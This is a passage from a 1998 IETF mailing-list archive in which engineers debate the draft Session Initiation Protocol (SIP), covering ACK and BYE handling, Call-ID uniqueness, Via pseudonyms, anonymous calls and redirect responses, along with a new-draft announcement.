- We may (in the future) make use of ACK to generate a final session
description. (Caller proposes, callee makes counteroffer with its
receive capabilities, caller provides final set of capabilities.) This
is currently allowed. Imagine the following slightly contrived scenario:

Caller can use either of two applications to receive audio, with
different sets of media types (say, MPEG3 and the typical "Mbone
codecs", to give a somewhat realistic example). It offers both, to give
the callee more flexibility. The callee chooses the Mbone codecs as its
receive capability (and, if the session description allowed, would also
indicate its send preference), but now the caller needs to make a
decision and tell the callee what its final choice is, namely the
original list minus MPEG.


- I'd like to keep the "upper layers" of SIP to be as ignorant of the
transport as possible.

> 
> 4.3 4.2.4 BYE
> 
> My understanding of this section is that once someone sends an INVITE, thus
> causing a ringing, the ringing doesn't stop until a BYE or ACK is received?
> That sounds like an attack not a feature. Also, I would put in a note that
> even when using TCP/IP it is probably better to send a BYE method rather
> than just closing the connection. Just closing connections causes all sorts
> of havoc for servers. If the client sends a BYE with a connection: close
> header then the server knows that the connection is going to be closed and
> can clean things up nicely. In HTTP we have found all sorts of problems with
> TCP/IP stacks when folks just close a connection without letting the server
> know what is going on. Please don't repeat our mistakes.

Agreed. I believe I have removed the mentioning of connections as being
semantically significant. Let me know if I missed an instance.

> 
> 4.4 4.2.6 Register
> 
> What is the point of the broadcasted public key? Since you have nary a clue
> whose public key has been broadcasted this doesn't seem to be a good idea
> from a security point of view.

Presumably the public key would be signed?

> 
> 4.5 6.11 Call-ID
> 
> Why is the requirement for global uniqueness only held for the duration of
> the request? Given that these requests can be forked who can even know what
> the duration of a request is? Even if the caller sends out a BYE you still
> can't be sure how far the request has propagated so if another request with
> the same call-id is issued the two could collide. I think you have to
> require that the call-id be unique for all requests for all time. There
> already exists a draft to give you the functionality you need at
> http://www.ietf.org/internet-drafts/draft-leach-uuids-guids-01.txt. It has
> just finished its IESG last call and will be voted on by the IESG to be
> moved to standards status any day now.

For Call-IDs, only version-4 UUIDs are appropriate, as they provide a
modest, but important protection against BYE attacks (where the bad guy
sends a BYE to your existing call, with a guessed Call-ID).

I've included the version-4 UUIDs for now, as it's backward compatible
with what we had and since these are only compared for equality.

Objections?


> 
> 4.6 6.14 CSeq
> 
> Sequence numbers are a general facility that allows one to match requests
> and responses. However the current specification for sequence numbers
> suffers from the "restart" problem. If a server crashes and restarts it
> won't remember the last sequence number it sent out. A simple way to solve
> this problem is to require that servers generate a GUID and then append
> numbers to it in order to represent a sequence. If the server ever crashes a
> new GUID will be generated and thus collisions avoided.

We rely for sequence numbers also for ordering, so that may not be
sufficient. Also, since sequence numbers are only generated by user
agents and are only unique within a Call-ID, it seems very unlikely that
a user agent would crash and restart the same Call-ID, unless it saved
that to stable storage. (In that case, it should save the CSeq as well.)

> 
> 4.7 6.16 Encryption
> 
> You could encrypt the method. You could invent a new method called ENCRYPT.
> In the encrypted body of the method is a header called "method" whose value
> equals the method that was supposed to be used. Also, if you switch to
> HTTP/1.1, thus using an HTTP request-URI, you can use the "*" URI to mean
> server. In that case you could add another header "request-URI" which
> encodes the original request-URI. The same logic applies to the From header.
> Even the To header could be encrypted if you are using the public key of the
> server. Regardless, A proxy will just forward the message to the indicated
> server and return the response.

I had considered a "wrapper" method that simply includes Content-Type:
message/sip. Unless somebody feels strongly about this, I'd like to
defer this until the next round, since it is a backward-compatible
addition.

> 
> BTW, while I can guess how one would encrypt a response there is no text in
> SIP on how this is actually done.

Text, anyone?

> 
> 4.8 6.38 Via
> 
> 4.8.1 Sent-By
> 
> The host production in sent-by isn't IPv6 compliant.

Once somebody else figures out what the appropriate "host" IPv6
representation is, we should use it. If possible, I'd like to avoid
having two different versions of "host" (within and outside of a URL).


> 4.8.3 ttl
> 
> Why is it necessary to give this information in the via header?

To reproduce the path.

> 
> 4.8.4 hidden-host
> 
> The Via header allows for the use of a token in lieu of a host name for
> security reasons. Reasonable enough, however the token namespace does not
> have any guarantees of non-collision. I realize that it may seem unlikely
> that two unrelated system administrators would pick the same pseudonym for
> their proxies until you remember how many servers in the world have the same
> name. How many DNS names have you seen whose high level domain is Calvin?
> Hobbs? Hacker? Etc. The reason these don't collide, obviously enough, is
> that the rest of the name is a DNS address that guarantees uniqueness. No
> such protection exists here so two proxies both named Dilbert will think a
> loop exists because they will see their own names.
> 
> As such you need to require that pseudonyms be something that is guaranteed
> to be unique, such as a GUID (they are useful, aren't they? =). You can also
> put in a note that for maximum security a proxy can change its name BUT it
> must remember its old name for some reasonable period of time. A proxy can
> also have multiple names simultaneously, so long as it remembers all of
> them.

Unless I'm missing something, this is tied to the "Need-to-keep-Via"
issue (and my message from a few weeks ago).

Pseudonym Vias don't work for forwarding.

> 
> 4.9 9 Compact Form
> 
> Rather than using compact header names why not just compress the entire
> message, including headers? Compression is incredibly fast and this will
> make your UDP messages even smaller than the compact header names can make
> them, a major benefit for UDP. You can use a similar format to your message
> encryption mechanism to provide for compression.

I'll let somebody else comment on this. One minor comment: I don't want
to have to assume that all systems do compression, as they may be
extremely memory-limited. (Remember, not all SIP clients are PCs or even
Windows CE devices.)

> 
> 4.10 11.2 - Connection Management for TCP
> 
> In general we have found that giving meaning to the creation or destruction
> of connections is not a good idea. It makes it difficult to create generic
> transmission systems and for proxies to combine multiple requests from
> multiple users all going to the same place in the same connection. This
> ability will be especially critical for SIP where each individual's message
> is likely to be very small and having to build and tear down TCP/IP
> connections would suck. As such it is advisable to use a timer rather a
> connection loss and of course encourage clients to send BYE.

See comment above.

> 
> 4.11 Connection Header
> 
> SIP clients are already compliant with HTTP/1.1 persistent behavior. However
> you may want to consider adding support for the connection: close header.
> This lets clients tells servers or servers tell clients that they intend to
> close the connection. This helps harvest connections more efficiently but is
> NOT an HTTP/1.1 requirement.

Anybody else have an opinion on this? I'm inclined to agree, although I
may need a reminder why telling the other side that it is going to close
the connection is all that helpful (compared to just closing it).

> 
> 4.12 OPTIONS
> 
> I would strongly recommend you make OPTIONS support mandatory. Discovery is
> a fundamental feature. We have regretted not guaranteeing support of
> OPTIONS.

Change tentatively made, barring protests from elsewhere.

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed May 13 19:42:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA01734
	for confctrl-outgoing; Wed, 13 May 1998 19:42:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01729
	for <confctrl@zephyr.isi.edu>; Wed, 13 May 1998 19:42:38 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA25766
	for <confctrl@ISI.EDU>; Wed, 13 May 1998 19:42:37 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA13644; Wed, 13 May 1998 22:42:36 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA21532; Wed, 13 May 1998 22:42:35 -0400 (EDT)
Message-ID: <355A5A1B.FD261BCF@cs.columbia.edu>
Date: Wed, 13 May 1998 22:42:35 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Yaron Goland <yarong@microsoft.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: My Comments on SIP
References: <3FF8121C9B6DD111812100805F31FC0D02971260@red-msg-59.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yaron Goland wrote:
> 
> As promised here are my comments. I figure dumping a 15 page e-mail wouldn't
> be terribly productive so I have split it up into several e-mails. Note that
> this file was originally a Word file. If you would like that file just send
> me e-mail.
> 

We anticipate pushing out the next "official" next revision of the spec
tomorrow (really - I'm glad I'm not subject to the late penalties I
assign on homeworks...). My rough estimation is that while the HTTP
convergence may be of some interest, the fear of adding further delays
by requiring the agreement of non-MMUSIC bodies (such as the HTTP WG) to
the use of multicast, etc. in HTTP is just too great.

If it is just a matter of splitting the spec, this can be done at
leisure (and the pace that the HTTP WG finds acceptable).

I'm particularly worried since use of multicast with HTTP raises a range
of other, potentially controversial issues (long responses, etc.) that
are non-issues for the intended SIP applications.

Since even a simple question (status and timeline of the HTTP rough
equivalent of Require:) has not been answered in several weeks, I'm
doubly concerned.
-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu May 14 06:30:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08381
	for confctrl-outgoing; Thu, 14 May 1998 06:30:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08376
	for <confctrl@zephyr.isi.edu>; Thu, 14 May 1998 06:30:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA00763
	for <confctrl@ISI.EDU>; Thu, 14 May 1998 06:30:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu May 14 09:29:27 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id JAA14258;
	Thu, 14 May 1998 09:29:27 -0400 (EDT)
Message-ID: <355AF13B.6993602B@dnrc.bell-labs.com>
Date: Thu, 14 May 1998 09:27:23 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: Yaron Goland <yarong@microsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: General Comments on the SIP Protocol
References: <3FF8121C9B6DD111812100805F31FC0D02971262@red-msg-59.dns.microsoft.com> <355A57C5.B24DEDE1@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> Yaron Goland wrote:
> > 4.2 4.2.2 ACK
> >
> > An ACK message is not necessary when using TCP since TCP itself will let the
> > callee know that the caller has received the appropriate response. Obviously
> > if a proxy is using TCP on one end and UDP out the other as soon as the
> > proxy receives TCP confirmation of receipt it needs to send an ACK on the
> > UDP connection.
> 
> This is roughly true, but needs a bit more discussion:
> 
> - We may (in the future) make use of ACK to generate a final session
> description. (Caller proposes, callee makes counteroffer with its
> receive capabilities, caller provides final set of capabilities.) This
> is currently allowed. Imagine the following slightly contrived scenario:

Actually, being able to send a description in the ACK makes
interoperability with non-fast-start H.323 systems a little easier. An
H.323 to SIP gateway won't have any media information when it receives
the first H.225.0 SETUP message from an H.323 terminal, and so it must
generate a SIP INVITE with a "fake" session description. When the 200 OK
comes back, the gateway can perform the H.245 negotiation and logical
channel procedures. When done, it can then send the ACK with the
"correct" session description. Of course this is not the only way to do
it; one could just reissue the INVITE with a modified SDP later on.
However, this approach saves a few messages and allows call setup to
operate with a single transaction.


> > 4.3 4.2.4 BYE
> >
> > My understanding of this section is that once someone sends an INVITE, thus
> > causing a ringing, the ringing doesn't stop until a BYE or ACK is received?
> > That sounds like an attack not a feature. Also, I would put in a note that
> > even when using TCP/IP it is probably better to send a BYE method rather
> > than just closing the connection. Just closing connections causes all sorts
> > of havoc for servers. If the client sends a BYE with a connection: close
> > header then the server knows that the connection is going to be closed and
> > can clean things up nicely. In HTTP we have found all sorts of problems with
> > TCP/IP stacks when folks just close a connection without letting the server
> > know what is going on. Please don't repeat our mistakes.
> 
> Agreed. I believe I have removed the mentioning of connections as being
> semantically significant. Let me know if I missed an instance.

I'm not sure including a connection: close header in a BYE helps. After
the initial INVITE transaction, subsequent requests (both ACK and BYE)
are likely to be sent directly to the destination party. This means that
the proxy servers along the initial request path are not likely to see
either a BYE or an ACK. 

CANCEL seems to be what we are looking for here, anyway. A proxy
receiving a CANCEL can expect the client to close the connection once it
has received the response.


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May 14 20:20:56 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA00760
	for confctrl-outgoing; Thu, 14 May 1998 20:20:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA00755
	for <confctrl@zephyr.isi.edu>; Thu, 14 May 1998 20:20:54 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA15277
	for <confctrl@isi.edu>; Thu, 14 May 1998 20:20:52 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id FAA25594 for <confctrl@isi.edu>; Fri, 15 May 1998 05:14:39 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256605.0017E966 ; Fri, 15 May 1998 06:21:10 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
Message-ID: <42256605.000128D3.00@il4.vocaltec.co.il>
Date: Fri, 15 May 1998 02:41:51 +0200
Subject: Two more SIP questions - truly anonymous phone calls and redirects
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 05/15/98 02:41 AM

Apologies if these are answered in some newer spec:

1. What is the correct way to make a truly anonymous phone call? The spec
says that a request MUST have a From: line in it. (In the PSTN, there are
no really anonymous calls, because the calling line always identifies
itself. I can do this in SIP by making the From: line something like
+97252288099@cellcomm.co.il.) Is there some protocol reason to disallow a
request with no From: line? Or should a request do something else.

2. Could someone explain the difference between the following two
exchanges:

In both exchanges the client sends an ordinary INVITE
C->S
     INVITE  callee@some.org   SIP/2.0
     From: caller@other.org
     To: callee@some.org
     ....

In exchange 1 the server returns:

S->C
     SIP/2.0 350 Alternative Service
     From: caller@other.org
     To: callee@some.org
     ....
     Content-type: application/url
     Content-length: xxx

     mailto:callee@some.org
and in exchange 2 the server returns:

     SIP/2.0 350 Alternative Service
     From: caller@other.org
     To: callee@some.org
     Location: mailto:callee@some.org
     ...

Don't both mean that the caller can be reached via Email??  If this is true
I would rather that the Location: field be restricted to
contain ONLY sip: urls, meaning that this is a sip: address which should be
used from now on for further communication about the same session.  I'd
rather not have two ways to do exactly the same thing.

At the very least the Location: field should be restricted to urls of
servers that understand the Content-type: that is in the original request.
(For example, maybe an INVITE with an SDP content-type can be responded to
by an "Alternative Service" with a Location: field with an rtsp: url,
meaning an RTSP server that is likely to understand the SDP in the original
invite.)
In order to indicate some server which is really of a totally different
type I would rather put the new URL into the Payload of the response.


Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Fri May 15 06:50:56 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA10214
	for confctrl-outgoing; Fri, 15 May 1998 06:50:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA10209
	for <confctrl@zephyr.isi.edu>; Fri, 15 May 1998 06:50:54 -0700 (PDT)
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16758
	for <confctrl@isi.edu>; Fri, 15 May 1998 06:50:53 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id JAA08307;
	Fri, 15 May 1998 09:50:18 -0400 (EDT)
Message-Id: <199805151350.JAA08307@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-05.txt,.ps
Date: Fri, 15 May 1998 09:50:18 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: M. Handley, H. Schulzrinne, E. Schooler
	Filename	: draft-ietf-mmusic-sip-05.txt,.ps
	Pages		: 119
	Date		: 14-May-98
	
         Many styles of multimedia conferencing are likely to co-
         exist on the Internet, and many of them share the need to
         invite users to participate. The Session Initiation
         Protocol (SIP) is a simple protocol designed to enable
         the invitation of users to participate in such multimedia
         sessions. It is not tied to any specific conference
         control scheme. In particular, it aims to enable user
         mobility by relaying and redirecting invitations to a
         user's current location.
 
         This document is a product of the Multi-party Multimedia
         Session Control (MMUSIC) working group of the Internet
         Engineering Task Force.  Comments are solicited and
         should be addressed to the working group's mailing list
         at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-05.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-05.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980514114150.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980514114150.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri May 15 07:22:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA10468
	for confctrl-outgoing; Fri, 15 May 1998 07:22:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10458
	for <confctrl@zephyr.isi.edu>; Fri, 15 May 1998 07:22:22 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18022
	for <confctrl@isi.edu>; Fri, 15 May 1998 07:22:20 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id KAA01282;
	Fri, 15 May 1998 10:21:49 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id KAA17197;
	Fri, 15 May 1998 10:21:48 -0400 (EDT)
Date: Fri, 15 May 1998 10:21:48 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980515102148.ZM17195@seawind.bellcore.com>
In-Reply-To: "Scott Petrack"<Scott_Petrack@vocaltec.com>
        "Two more SIP questions - truly anonymous phone calls and redirects" (May 15,  2:41am)
References: <42256605.000128D3.00@il4.vocaltec.co.il>
X-Mailer: Z-Mail (5.0.0 30July97)
To: "Scott Petrack"<Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: Two more SIP questions - truly anonymous phone calls and redirects
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott,

Anonymous calls on the Internet really require the cooperation of a third
party, to do some form of anonymous RTP relay.  Otherwise, you can trace
the calling machine, and you are not really anonymous.

The solution adopted by anonymous remailers is to leave a "From" line,
but to put some garbage in it, as in:
        From: anon-2345@anonymous.example.org
Note that if you don't want to hide the calling station, you can always
blurr the identity of the calling party, as in:
        From: an-anonymous-caller@huitema-pc.bellcore.com
but I am not sure this is really useful...

As for the redirection to a mailbox, it serves a useful purpose.  Voice
mail.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Fri May 15 08:56:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA12359
	for confctrl-outgoing; Fri, 15 May 1998 08:56:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12354
	for <confctrl@zephyr.isi.edu>; Fri, 15 May 1998 08:56:27 -0700 (PDT)
Received: from notes950.cc.bellcore.com ([192.4.194.238])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA24089
	for <confctrl@ISI.EDU>; Fri, 15 May 1998 08:56:26 -0700 (PDT)
From: dshrader@notes.cc.bellcore.com
Received: by notes950.cc.bellcore.com(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 85256605.00578060 ; Fri, 15 May 1998 11:55:44 -0400
X-Lotus-FromDomain: BELLCORE
To: Scott_Petrack@vocaltec.com
cc: confctrl@ISI.EDU
Message-ID: <85256605.004E8DC8.00@notes950.cc.bellcore.com>
Date: Fri, 15 May 1998 11:50:36 -0400
Subject: Re: <del> - truly anonymous phone calls <del>
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Well, actually the PSTN can provide anonymous calls in a couple of
different ways. Several legacy connection schemes do not provide a calling
number (e.g., some PBX trunks, older cellular technology, interworking with
MF). Also, in the US at least, there is a feature which can be invoked that
will explicitly toggle a privacy indication. The network enforces this
privacy option at the terminating switch, so that the calling line
information is not delivered to the called party if the privacy indication
is set. State utility commissions determine if this privacy feature is made
available to customers within that state.

David Shrader
Bellcore
IN Design and Engineering






Scott_Petrack@vocaltec.com on 05/14/98 08:41:51 PM

To:   confctrl@ISI.EDU
cc:    (bcc: David Shrader/Bellcore)
Subject:  Two more SIP questions - truly anonymous phone calls and
      redirects




From: Scott Petrack@VOCALTEC on 05/15/98 02:41 AM
1. What is the correct way to make a truly anonymous phone call? The spec
says that a request MUST have a From: line in it. (In the PSTN, there are
no really anonymous calls, because the calling line always identifies
itself. I can do this in SIP by making the From: line something like
+97252288099@cellcomm.co.il.) Is there some protocol reason to disallow a
request with no From: line? Or should a request do something else.







From confctrl-owner  Sat May 16 09:33:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02656
	for confctrl-outgoing; Sat, 16 May 1998 09:33:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02651
	for <confctrl@zephyr.isi.edu>; Sat, 16 May 1998 09:33:57 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28270
	for <confctrl@ISI.EDU>; Sat, 16 May 1998 09:33:56 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA28504; Sat, 16 May 1998 12:33:50 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA03925; Sat, 16 May 1998 12:33:50 -0400 (EDT)
Message-ID: <355DBFED.E4B5B9AE@cs.columbia.edu>
Date: Sat, 16 May 1998 12:33:49 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU
Subject: Re: Two more SIP questions - truly anonymous phone calls and redirects
References: <42256605.000128D3.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 05/15/98 02:41 AM
> 
> Apologies if these are answered in some newer spec:

Nope, not yet.

> 
> 1. What is the correct way to make a truly anonymous phone call? The spec
> says that a request MUST have a From: line in it. (In the PSTN, there are
> no really anonymous calls, because the calling line always identifies
> itself. I can do this in SIP by making the From: line something like
> +97252288099@cellcomm.co.il.) Is there some protocol reason to disallow a
> request with no From: line? Or should a request do something else.

Yes, the tuple From/To/Call-ID is needed to identify the request, once
we move to more sophisticated call models.

Note that this just has to be a unique and may well be inserted by an
anonymizer proxy.

I'm not sure if we need to define this in the spec or just in a FAQ
(where I have put it for now).

> 
> 2. Could someone explain the difference between the following two
> exchanges:
> 
> In both exchanges the client sends an ordinary INVITE
> C->S
>      INVITE  callee@some.org   SIP/2.0
>      From: caller@other.org
>      To: callee@some.org
>      ....
> 
> In exchange 1 the server returns:
> 
> S->C
>      SIP/2.0 350 Alternative Service
>      From: caller@other.org
>      To: callee@some.org
>      ....
>      Content-type: application/url
>      Content-length: xxx
> 
>      mailto:callee@some.org
> and in exchange 2 the server returns:
> 
>      SIP/2.0 350 Alternative Service
>      From: caller@other.org
>      To: callee@some.org
>      Location: mailto:callee@some.org
>      ...
> 
> Don't both mean that the caller can be reached via Email??  If this is true
> I would rather that the Location: field be restricted to
> contain ONLY sip: urls, meaning that this is a sip: address which should be
> used from now on for further communication about the same session.  I'd
> rather not have two ways to do exactly the same thin
> 
> At the very least the Location: field should be restricted to urls of
> servers that understand the Content-type: that is in the original request.
> (For example, maybe an INVITE with an SDP content-type can be responded to
> by an "Alternative Service" with a Location: field with an rtsp: url,
> meaning an RTSP server that is likely to understand the SDP in the original
> invite.)
> In order to indicate some server which is really of a totally different
> type I would rather put the new URL into the Payload of the response.

I don't think it makes much of a difference as to where you put it. A
nice UI would probably do the following:

- process Location URLs in order of preference
- if user has configured this, automatically call SIP URLs
- if it reaches a mailto or phone URL, the UI could do one of the
following, depending on
caller configuration:
  - prompt user before dialing or pop up a mail window
  - automatically mail the invitation to the mailto address

The 350 Alternative with a payload is similar to the HTTP content
negotiation, where the header might contain URLs for automatic
processing, while the body could contain something for user
presentation:

350 Alternative Services
Location: 
Content-Type: text/html

Thank you for calling Vocaltec. Please choose among the following:
<ul>
<li><a href="sip:sales@vocaltec.com">Sales</a>
<li><a href="sip:scott_petrack@vocaltec.com">Scott Petrack</a>
...
</ul>

If the user agent groks HTML, it would display the body for manual
selection.

> 
> Scott Petrack
> VocalTec Communications Ltd.
> petrack@vocaltec.com

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun May 17 00:35:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA08425
	for confctrl-outgoing; Sun, 17 May 1998 00:35:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA08420
	for <confctrl@zephyr.isi.edu>; Sun, 17 May 1998 00:34:59 -0700 (PDT)
